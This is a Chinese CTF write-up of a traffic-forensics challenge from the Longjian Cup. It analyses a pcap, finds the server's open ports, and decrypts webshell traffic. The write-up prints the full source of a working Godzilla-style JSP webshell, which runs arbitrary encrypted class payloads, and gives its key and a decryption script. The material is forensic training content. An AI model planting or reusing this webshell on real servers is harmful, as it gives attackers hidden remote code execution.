第二届“陇剑杯”网络安全大赛预选赛WP-数据分析-hard_web

发布于 2023-09-20  528 次阅读


赛事简介:

“陇剑杯”已被公安部网安局确定为与“网鼎杯”“天府杯”之后的全国第三大网络安全赛事,是全国同类赛事中首次引入“人工智能人机对抗”,首个“以防为主”的网络安全大赛。“陇剑杯”与“网鼎杯”一样隔年举办,“陇剑杯”在“网鼎杯”的次年举办,参加“陇剑杯”获得前9名的队伍直接进入“网鼎杯”半决赛。2021年已成功举办一届,共吸引了全国31个省、市、自治区和各个行业的3020支战队,11135人报名参赛,同时还邀请4名院士专家及来自国家部委、省委省政府、省直厅局及中央驻甘机构、知名互联网企业的400余名嘉宾出席网络高峰论坛。

第二届“陇剑杯”网络安全大赛将以“共筑网络安全 守护数字经济”为主题,以实景防御、大数据分析、人工智能安全等综合防御能力提升为目标,打造高规格、高标准、高水平的全国性网络安全赛事活动,为助推地区网络安全、数字产业、经济社会高质量发展注入强大动力。

hard_web

问题1


这道题附件依旧是一个pcap包,用wireshark打开
先筛选http流量看一下大概
前面大部分都是目录文件扫描,返回都是404

拉到最下面发现有webshell请求操作,那么就从这地方开始看

首先追踪http流,发现test.jsp的webshell操作中读取了另一个shell shell.jsp的源码

<%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

回到第一个问题,问的服务器开放了哪些端口
这时候可以确定,服务器IP是192.168.162.180
tcp.connection.synack && ip.src==192.168.162.180

可以看到开放了 80,888,8888端口

问题2


上面我们已经找到shell.jsp的源码了,是一个哥斯拉的shell,同时获取到了密钥748007e861908c03
下面就是流量解密了
找到流量包

然后转成原始数据

复制数据到解密脚本中

from Crypto.Cipher import AES
import binascii
import zlib

# 密钥,与 JSP 代码中的密钥相同
key = b'748007e861908c03'

# 要解密的加密数据(十六进制形式)
encrypted_hex_data = "b5c1fadbb7e28da08572486d8e6933a84c5144463f178b352c5bda71cff4e8ffe919f0f115a528ebfc4a79b03aea0e31cb22d460ada998c7657d4d0f1be71ffa"

def decode(data, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted_data = cipher.decrypt(data)
    return decrypted_data

def ungzip(in_str):
    s = zlib.decompress(in_str, 16 + zlib.MAX_WBITS).decode()
    print("Decoded and Unzipped:\n", s)

# 将十六进制数据转换为字节序列
encrypted_bytes = bytes.fromhex(encrypted_hex_data)

# 解密数据并解压缩
decrypted_data = decode(encrypted_bytes, key)
ungzip(decrypted_data)

最后一个请求包请求了flag文件

看看返回
成功获取flag

问题3


这里直接CMD5解密了--

届ける言葉を今は育ててる
最后更新于 2023-09-20